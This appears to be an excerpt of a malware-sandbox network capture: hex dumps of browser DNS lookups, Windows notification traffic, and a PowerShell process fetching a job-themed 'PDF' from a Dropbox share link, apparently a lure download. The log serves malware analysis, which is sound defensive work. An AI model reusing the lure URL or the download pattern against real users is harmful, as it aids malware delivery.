97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd bf Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 30 Data Ascii: =+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v0
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 fa Data Ascii: K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 0f Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 8f Data Ascii: aW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 20 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49797	162.159.61.3	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:13:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-12-17 11:13:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:13:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367bf3af994393-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:13:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d e2 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 0e 00 02 c0 43 c0 43 00 01 00 01 00 00 00 0e 00 04 cc 4f c5 ef c0 43 00 01 00 01 00 00 00 0e 00 04 0d 6b 15 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0CCOCk)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49798	172.64.41.3	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:13:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-12-17 11:13:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:13:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367bf3afe419cb-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:13:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d fb 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 27 00 02 c0 43 c0 43 00 01 00 01 00 00 00 27 00 04 0d 6b 15 ef c0 43 00 01 00 01 00 00 00 27 00 04 cc 4f c5 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0'CC'kC'O)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49801	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 46 4a 67 6c 36 2f 4a 50 30 4b 6e 69 59 70 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 64 62 30 61 36 30 64 31 31 35 62 36 37 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8FJgl6/JP0KniYpl.1Context: 92db0a60d115b671
2024-12-17 11:13:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 11:13:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 46 4a 67 6c 36 2f 4a 50 30 4b 6e 69 59 70 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 64 62 30 61 36 30 64 31 31 35 62 36 37 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 65 69 75 6a 4a 42 37 43 41 4a 73 4d 6c 42 46 51 69 41 32 67 55 70 45 62 5a 56 32 2f 6b 4c 76 79 56 6d 57 68 37 2f 6e 4b 52 4e 52 30 42 59 42 51 66 69 5a 6e 4c 63 79 6d 39 64 62 56 73 68 6b 58 2f 4f 49 46 4b 57 56 70 57 79 52 32 67 4c 4f 67 5a 63 33 65 41 6a 79 74 34 6f 4f 57 65 6a 68 4c 55 4e 47 42 57 58 69 30 58 77 56 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8FJgl6/JP0KniYpl.2Context: 92db0a60d115b671<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATeiujJB7CAJsMlBFQiA2gUpEbZV2/kLvyVmWh7/nKRNR0BYBQfiZnLcym9dbVshkX/OIFKWVpWyR2gLOgZc3eAjyt4oOWejhLUNGBWXi0XwVw
2024-12-17 11:13:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 46 4a 67 6c 36 2f 4a 50 30 4b 6e 69 59 70 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 64 62 30 61 36 30 64 31 31 35 62 36 37 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8FJgl6/JP0KniYpl.3Context: 92db0a60d115b671<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 11:13:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 11:13:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 4f 61 55 4c 71 4b 39 57 55 71 42 57 51 5a 32 71 65 43 77 58 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mOaULqK9WUqBWQZ2qeCwXg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49808	162.125.65.18	443	8836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:31 UTC	288	OUT	GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-17 11:13:32 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusines [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com/cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTE3MzY5MTU4MzIwOTYwODU1NTIxMjY3MzY2OTIxNjk5NDYyODU1; Path=/; Expires=Sun, 16 Dec 2029 11:13:31 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=f1k8sCH2UzlZdobhf93wbahu; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:13:31 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=f1k8sCH2UzlZdobhf93wbahu; Path=/; Expires=Wed, 17 Dec 2025 11:13:31 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=FKlCZAs8IU; Path=/; Expires=Wed, 17 Dec 2025 11:13:31 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:13:31 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:13:32 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: b5d48b79e2224b4ebc47bc6bfd54c05f Connection: close
2024-12-17 11:13:32 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49835	162.125.69.15	443	8836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:34 UTC	370	OUT	GET /cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:13:35 UTC	863	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Documents about company information and job descriptions (2).pdf"; filename*=UTF-8''Documents%20about%20company%20information%20and%20job%20descriptions%20%282%29.pdf Content-Security-Policy: sandbox Etag: 1733913980334826d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 147 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:13:34 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 656088 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 520f01f51b96449cb2c31acb2e18c2c5 Connection: close
2024-12-17 11:13:35 UTC	15521	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 38 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 32 39 33 0a 2f 4e 20 33 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 7d 90 bd 4a c3 00 14 85 bf d4 82 28 8a 83 0e 1d 1c 32 38 b8 68 93 a6 69 52 70 69 22 16 d7 56 a1 a9 53 92 a6 41 ec 4f 48 53 f4 01 74 73 70 75 2b 2e be 80 e8 63 28 08 0e e2 e0 23 88 a0 b3 a4 41 52 90 78 e0 c2 c7 e1 c0 bd f7 40 ae 00 90 97 a0 3f 88 c2 46 dd 10 5b 56 5b 9c 7f 47 40 60 2a db 1d 05 64 4b 80 ef 97 24 fb bc f5 4f 2e 4b 0b 1d 6f e4 02 1f 40 14 b6 ac 36 08 1d 60 cd 4f f8 2c 66 27 e1 cb 98 4f a3 20 02 61 12 73 78 d0 30 41 b8 03 36 fd 19 76 66 d8 0d c2 38 ff 06 ec f4 7b 63 37 bd 9b 25 6f 70 d8 04 5a c0 3a 75 86 0c f1 e9 e1 Data Ascii: %PDF-1.7%18 0 obj<</Length 293/N 3/Filter /FlateDecode>>streamx}J(28hiRpi"VSAOHStspu+.c(#ARx@?F[V[G@`*dK$O.Ko@6`O,f'O asx0A6vf8{c7%opZ:u
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: 68 92 2e f0 ab 37 a0 22 0a 71 20 88 96 63 31 98 33 b9 2f a6 fa 38 8f 04 3d d4 0b b5 ef 6d e2 5e 95 e3 5d 65 7e ab 25 a3 03 45 0d 7f e8 90 6c 97 39 68 a7 5d f3 dd e0 f8 62 77 23 93 24 36 55 9e 56 52 3e 16 62 ca 11 15 f9 76 5f f4 36 41 41 1b 75 c5 5f 4b f4 4f 92 36 e3 4c 27 4a e4 d7 89 da 24 e2 8b 14 92 13 3b 54 4c a2 3d 9b b4 9b 56 70 94 3b a4 a0 9a 08 ba fa 92 7e 9a 5e fe 84 c6 71 1d 91 0f e6 19 fd 59 f1 36 df 82 1f e2 46 4a be 29 2b 0e 60 bc 93 81 2e 0b 80 9e 3c 57 c4 1c af 36 f6 a5 b3 27 33 a6 1c 38 bd ba 80 5e 5d 30 28 57 28 4b d1 df b8 9a 34 f1 d8 a5 cf b5 e1 32 b6 59 07 e1 ee b0 f4 4c 72 cf 9a c8 4d 0a 5e d6 b7 53 f6 05 40 66 85 fe ff db ff 83 8d 57 dc 4c a4 03 28 e0 c5 af c4 97 55 ea 90 9f 16 67 64 f9 3e 87 a2 0b 33 7e 5b a2 eb 6b 6f 94 6a aa 22 fd Data Ascii: h.7"q c13/8=m^]e~%El9h]bw#$6UVR>bv_6AAu_KO6L'J$;TL=Vp;~^qY6FJ)+`.<W6'38^]0(W(K42YLrM^S@fWL(Ugd>3~[koj"
2024-12-17 11:13:35 UTC	863	IN	Data Raw: 2e 47 34 a6 61 d4 78 6c 1e 7d d2 92 e2 ee d2 35 3d 6e fd 95 98 81 b8 7d 4d bc e0 b5 b3 a1 bf 6c ef ed f5 33 b7 7a 2e 9c 8d 67 31 c0 9e 78 ac 6a bc 47 ec e6 dc ce 0d 42 6a db dc 77 a9 3e f7 cd b1 22 e2 24 09 62 ea c0 b7 58 b3 dc d1 32 7b f8 57 8c dd 8b a7 45 0e e3 f1 a7 f1 b9 f6 70 dc f4 43 13 52 5d cd f6 d3 9f 16 94 91 b4 59 49 95 56 08 c4 da 92 9a 4a 76 2c 78 96 f0 e2 37 76 fb 66 b8 0e 9b 92 88 23 7e 7d e3 e0 64 56 b8 0e 8b 92 78 a8 14 ca 0d 3e 88 9c 82 f4 e9 5b ff f3 b4 2e 98 14 c1 44 ab af 8d 37 25 ac 5e e6 83 5a e7 e9 d1 29 61 d4 b0 b5 77 a3 15 67 9e 88 91 bd b2 7b dc 7e 1c 52 3f e1 4e 06 9b 38 9d 13 3e f3 ce e3 ea 5d 53 7a 1a 2f 49 49 51 23 52 2f f2 46 12 41 c5 3c 8c 47 04 fe a2 fa fa 29 a8 40 cf 88 4b 46 42 de f5 8e 62 da 57 df 75 4d 29 78 fa 74 7f Data Ascii: .G4axl}5=n}Ml3z.g1xjGBjw>"$bX2{WEpCR]YIVJv,x7vf#~}dVx>[.D7%^Z)awg{~R?N8>]Sz/IIQ#R/FA<G)@KFBbWuM)xt
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: fb 01 50 e9 9a 72 e3 97 0c 93 97 19 6e 70 d1 4d 63 57 77 39 c7 56 f3 86 4c f8 1b dd 09 3f 90 a0 27 e7 af c6 07 7b 08 86 69 f2 4d 25 e9 3f b8 4b e1 bc 8d 36 c5 df 47 d4 7e b1 2e 21 66 d0 b1 85 5c e4 1f 3f ee d2 7c 71 9c d6 d8 f1 15 eb f9 e6 66 45 3d 92 ee 0e 17 ac bf 34 1f 71 a1 f5 ce cc 2c 2f c3 4b e5 ca f0 53 27 1f 06 aa 92 e6 f2 3a 6d 46 74 fd f6 0a 9a 21 83 48 f2 da 0e 52 7d 43 ce d7 02 c7 5d cd 65 ed df 58 21 24 77 67 4b 8e cd da 87 64 fa c4 5f 4e 56 38 cb 25 f0 29 be 89 f5 75 df f7 c9 55 f6 4b 8d 23 6f 24 b3 6a e5 7f ca e6 26 d6 f1 9e 1b 36 51 92 55 0b 37 94 5c 7a 40 f9 42 fe 95 7b 7a 10 bb df 9d be 27 ce 17 16 